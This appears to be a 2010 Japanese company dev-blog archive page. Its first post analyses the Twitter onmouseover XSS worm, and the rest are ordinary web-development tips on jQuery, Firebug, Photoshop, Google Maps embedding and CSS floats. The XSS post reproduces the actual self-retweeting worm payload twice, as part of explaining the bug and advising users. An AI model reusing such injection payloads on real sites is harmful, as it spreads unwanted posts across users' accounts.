Web « BPS株式会社開発ブログ Beyond Perspective Solutions LTD.

TwitterのXSS脆弱性をついたタイムライン汚染攻撃

2010.09.21 Web, セキュリティ, 馬場タグ: Twitter, 脆弱性 — baba コメント (2)

本日夕方から、TwitterのXSS（Cross Site Scripting：クロスサイトスクリプティング）脆弱性を突いた攻撃がすさまじいペースで広がっています。

私もWebで見る派なので、踏んでしまいました（それによりご迷惑をおかけした方申し訳ありません）。
リツイートされたものを解除しようにもログインできず、公式ReTweetはWebでしか解除できないので困っています。

公式ReTweetの仕様上の問題点も活用した、なかなか鮮やかな手口ですね。

問題のツイートの一例が↓です。

<span class="entry-content">
	<a
		href="http://a.no/@"
		onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()"
		style="color:#000;background:#000;/"
		class="tweet-url web"
		rel="nofollow"
		target="_blank">
	http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()" style="color:#000;background:#000;/
	</a>
</span>

要するに、マウスオーバーしたら自分と同じものをつぶやくというコードですね。

肝の部分は↓です。

http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()" style="color:#000;background:#000;/

httpで始まる文字列はリンクに変換されますが、@の認識の仕方にバグがあったようですね。文字列の最後までがリンクURLと認識され、見事にXSSが成功しています。

それにしても驚くのが、感染の早さ。
技術的なキモは、単純なURL判定アルゴリズムのミスですが、それをTwitter上で実施するだけでここまでのスピードで広がってしまうとは、リアルタイムなTwitterの怖いところです。

Twitterなので、直接的な被害はTwitter上に限られていると思いますが、どのくらい工夫した亜種が流れているのでしょうか？

2010/09/21 22:44追記
該当のXSS脆弱性がひとまず修正されたようですね。
また、原因になっていた公式リツイートは削除されているようです。
なお、ログインする際はブラウザのキャッシュとCookieを消してからのほうが良いです。

基本的にXSSでパスワードが知られてしまうことはありませんが（ブラウザに保存していたら知りません）、メールアドレスの変更→パスワードリセット　を使ってパスワードを変更することは理論上可能なので、プロフィールがおかしくなっていないかチェックしておいた方が良いですね。

2010/09/21 23:05追記
Twitter公式情報で、修正がアナウンスされています。
日本時間22:50の時点で、全世界に修正が行き渡ったようです。
http://status.twitter.com/post/1161435117/xss-attack-identified-and-patched

JQuery UI Tabsでタブ表示

2010.08.27 HTML, Web, javascript タグ: jQuery, Tabs, UI — shibachan コメントは受け付けていません。

こんにちわ芝原です。

始めてのJavascript関連の投稿です。
お手柔らかにどうぞ。

たくさんのコンテンツをすっきり表示させるための方法として、タブという手法がよくつかわれると思います。
今回は、この便利なタブ表示をJQueryを使って実現する方法を解説します。
動作はこんな感じになります。
http://jqueryui.com/demos/tabs/default.html

必要なファイルのダウンロード

jquery本体とui.core.js、ui.tabs.jsが必要です。

こちらから簡単にダウンロードできますが余計なファイルも多分に入っているので、こちらからファイルを選択してダウンロードしてもいいと思います。

スクリプトの読み込み

必要なファイルを読み込みます。
head内に記述するのが一般的です。

<script type="text/javascript" src="/path/to/jquery.js"></script>
<script type="text/javascript" src="/path/to/ui.core.js"></script>
<script type="text/javascript" src="/path/to/ui.tabs.js"></script>

HTMLの構造

<div id="tabs">
    <ul>
        <li><a href="#tab1">タブに表示する文字</a></li>
        <li><a href="#tab1">タブに表示する文字</a></li>
        <li><a href="#tab3">タブに表示する文字</a></li>
    </ul>
    <div id="tab1">
        タブの中身
    </div>
    <div id="tab2">
        タブの中身
    </div>
    <div id="tab3">
        タブの中身
    </div>
</div>

タブの設定

<script type="text/javascript">
    var $tabs = $('#tabs').tabs();
    $tabs.tabs('select' 1); // 2番目のタブを選択状態にする
                            // デフォルトでは1番目のタブ
</script>

たったこれだけでタブが実装できました。

さらに詳しい情報を知りたい方は、公式ドキュメントをご覧ください。

Firebugをクリーンに改造する

2010.07.08 CSS, HTML, 馬場タグ: Firebug, Firefox, アイコン, 改造 — baba コメントは受け付けていません。

ググれば出てくるようなネタではありますが。

Firebugの最大の欠陥は、見た目があれなことです。

開発者の中には、あれが大の苦手の人もたくさんいると思います。

# 私は先週薬局に駆け込んでバルサンしてきました。
# というか良く思うんですが、なんでバルサンとかの製品にイラストを描くんでしょうね？買う人の気持ちを何も分かっていない。

ということで、しっかりと消しておきましょう。

このZIPファイルでプラグインを上書きすれば、すべてOKになります。1.5.4で確認。
clean_fire

インストール済みの場合は、以下

C:\Users\***\AppData\Roaming\Mozilla\Firefox\Profiles\
***.default\extensions\firebug@software.joehewitt.com

未インストールの場合は、XPIファイルをダウンロード→拡張子をZIPにして解凍して、上書きして下さい。

これで再起動すれば、快適な開発ライフを堪能できますね！作業効率倍増です。

快適なHTML/CSSライフを！

Windowsのアイコンキャッシュがたまに殺人的な効力を発揮することがあるので、
C:\Users\***\AppData\Local\IconCache.db
を消したりしておいた方が気休めになります。

Photoshopでしましまアニメーションを作ろう

2010.06.19 Web, 馬場タグ: Photoshop, アニメーション — baba コメントは受け付けていません。

Webで背景透過を強調するために、こんな画像を使いたいことはありませんか？

しましま

これなら、デザインセンスが抜群の馬場でも作れそうです。

以下のようにやりました。

まずは、フィルタのハーフトーンパターンでしましまを描きます。

ハーフトーンパターンでしましまを描く

そして、アニメーションウィンドウを開きます。

アニメーションを開きます

背景をレイヤーにしたら、フレームアニメーション（タイムラインではない）に設定して、1コマずつ微妙にずらしていきます。

アニメーションを設定

ハーフトーンの1マス分ずらしたら、後はループでスムーズに動いているように見えます。
透明部分ができないように、適当な大きさでスライスして、Web及びデバイス用に保存でGIFに書き出せばOKです。

これで格好いいアニメーションが作れますね！

jQuery.formとJSONView

2010.06.17 HTML, javascript, 馬場タグ: jQuery, JSON, バグ, 相性 — baba コメントは受け付けていません。

JSONViewは、Firefoxで application/json なコンテンツを綺麗に表示するプラグインです。
とても便利ですね。

ところが、jQuery.formプラグインなどと組み合わせると、不具合を起こすことがあるので注意が必要です。

一般的なajaxでは、

$.ajax({
  url: 'hogehgoe',
  success: function(data, dataType) {
  }
});

といったやりかたをしますが、このときは特に問題ありません。

しかし、jQuery.formで $(’form’).ajaxSubmit() を使う場合、内部的には$.ajaxは使用されていません。
XMLHttpRequestでは画像データ等のmultipart/form-dataを送信できないため、ダミーのiframeを作って、そこをターゲットにformの送信を実行しています。

//jquery.form.jsの内部コードのイメージ
var iframe = '<iframe id="hoge" onload="irame-onload"></iframe>';
$('form').attr('target', 'hoge');
$('form').submit();

これで、ajaxSubmitをすると、結果がiframeに入ります。
iframeのonloadイベントで、内部のinnerHTMLを見て、結果を呼び出し元に返す処理を行っています。

ここで、iframeの中身がどんな値になるかは、ブラウザの実装依存です。
一般に、プレインテキストやJSON形式が渡ってきたとしても、DOMツリーを構築するためにbodyタグまでは作ってしまうようです。

良くあるパターン

<html>
<head></head>
<body>{"result":"これが結果です"}</body>
</html>

jquery.formプラグインは、ブラウザがbodyタグの中に直接値を入れるか、またはpreやtextareaに値を入れることを期待しています。

しかし、JSONViewを使うと、以下のような綺麗なHTMLを勝手に作ってくれてしまいます。

<html>
<head></head>
<body>
<doctype html="">
  <div id="json">
    {
    <ul class="obj collapsible">
      <li><span class="prop">result</span>: <span class="num">0</span></li>
    </ul>
    }
  </div>
</doctype>
</body>

人間様が見るには良いですが、これではjquery.formプラグインが認識できません。
そんなわけで、doctype html… といった値を丸ごとJSONパースしようとして、エラーになってしまいます。

解決策は、Content-Typeを変えるか、jquery.formを改造するくらいしかありません。

Content-Typeの変更が、一番みんなハッピーになれるはずです。

これに気づかず、JSONViewを入れると動かなくなるWebサイトがあるかもしれませんね。

Google Mapsをサイトに埋め込む、iframeでの引数

2010.06.16 HTML, Web, 勝見タグ: api, Google, Google Maps, 埋め込み, 引数 — junya コメント (1)

Google MapsをWebサイトにiframe埋め込む際に
Google Mapsのサイトでカスタマイズさせてくれるのはサイズと尺度、初期位置くらいです。
せっかく埋め込むのなら色々とカスタマイズしようと思ったのですが
日本語のリファレンスがなかなか見当たりませんでした。
なら自分でまとめてしまえ、という事で動作確認の取れた引数のみ、まとめました。

まず、Google Mapsをサイトに埋め込む方法から。

１、http://maps.google.co.jp/ にアクセスし、住所を検索
２、画面右端の「リンク」をクリック
３、出てきた窓の「埋め込み地図のカスタマイズとレビュー」をクリック

４、枠のサイズを選択、カスタムを選ぶと好きなサイズに出来ます
５、プレビュー画面でズームや位置、地図のタイプ(地図や衛星写真等)を感覚的に決めます。
６、HTMLをコピーし、サイトの埋め込みたい箇所に貼りつける。

これでとりあえず、表示されます。次はカスタマイズの時間です。

※今回は引数を分かりやすくするため、改行してありますが
改行するとエラーが出る可能性があるので、使用時は１行にしてください。

<iframe
    width="600"
    height="350"
    frameborder="0"
    scrolling="no"
    marginheight="0"
    marginwidth="0"
    src="http://maps.google.co.jp/maps?
        <!-- ここから引数 -->
    <!-- 目的別 q → デフォルト  d → 乗換案内(output=embedがない時のみ有効)-->
    f=q&
    <!-- マップ内仕様言語 ja → 日本語  en → 英語-->
    hl=ja&
    <!-- 緑の矢印マーカー座標(URLエンコードで入力すれば日本語も可) -->
    q=35.508591,139.4427722&
    <!-- マップタイプ  m → マップ  k → 衛星写真 p → 地形  e → Google Earth-->
    t=m&
    <!-- オーバービュー表示非表示 0 → 非表示  1 → 表示(output=embedがない時のみ有効) -->
    om=0&
    <!-- URL内に日本語を入れる際の文字コード -->
    ie=UTF8&
    <!-- 出力文字コード -->
    oe=UTF8&
    <!-- 地図中心座標 -->
    ll=35.508191,139.4440022&
    <!-- 尺度（0～23、値が小さいほど縮小する） -->
    z=17&
    <!-- この引数があるとmapのみを枠に埋め込みます -->
    output=embed
"></iframe>

これを実行するとこうなります。

上記以外の引数を発見した方はコメントを残していただけると嬉しいです。

FirefoxアドオンJSONViewでJSONを見やすくする

2010.06.15 Web, 伊藤タグ: Firefoxアドオン, JSON — tomotaka コメントは受け付けていません。

伊藤です。

最近JSONをやりとりするWebシステムの開発に関わっていて、プログラム用に加工されたフラットなJSONが見づらくて困っていました。
そこで軽く検索してみたら、JSONViewという非常に便利なFirefoxアドオンを発見しました！

jsonview

1行につめこまれていたJSONが画像のような感じで見れます。バッククオートなどのエスケープも外してくれるし、URLはクリックでそのまま飛ぶことができます。
注意としては、サーバ側のレスポンスのContent-typeがapplication/jsonじゃないと、この整形機能は発動しないようです。
JSONを使ったシステムの開発をされている方は入れてみてください。

HTML/CSS floatを無駄なく解除する方法

2010.06.14 CSS, HTML, 勝見タグ: clear, CSS, float, HTML — junya コメント (3)

現在はHTML、CSSコーディングの知識を深めようと思い勉強中なのですが
最近知った、感心したものをひとつ、ご紹介したいと思います。

私は普段、floatを解除する際はCSSにて

    .clear {
        clear:both;
    }

を用意して置き、

    <div class="float_a"> ～～～ </div>　/*float要素a*/
    <div class="float_b"> ～～～ </div>　/*float要素b*/
    <div class="clear"></div>　/*float解除*/

という手法を取っていましたが、空のdiv要素をコードの中にいくつも配置するのは美しくありません。
もっと良い方法はないかと思い他の社員の方に聞いてみた所、こんな方法もあるよと教えてくださいました。

CSSにて

    /*IE7以外のモダンブラウザ向け*/
    .clearfix:after{
        content:".";
        display:block;
        height:0;
        clear:both;
        visibility:hidden;
    }

     /*IE7およびMacIE5向け*/
    .clearfix{ display:inline-block; }

    /*IE6以前向け*/
    /*Hides from IE-mac\*/
    * html .clearfix{height:1%;}
    .clearfix{display:block;}
    /*End hide from IE-mac*/

そして

    <div class="float_box clearfix"> /*floatの親要素＋clearfix*/
        <div class="float_a"> ～～～ </div>　/*float要素a*/
        <div class="float_b"> ～～～ </div>　/*float要素b*/
    </div>

と記述することにより、親要素が閉じた瞬間にfloatが解除されます。

一度覚えてしまえば何てことはないですし、状況によっては前者の方が良い場合もありますが
選択肢が増えるという事は、それだけきれいにコードが書けるようになるという事です。
たくさんの知識を増やして、常にきれいなコードが書けるよう心がけたいですね。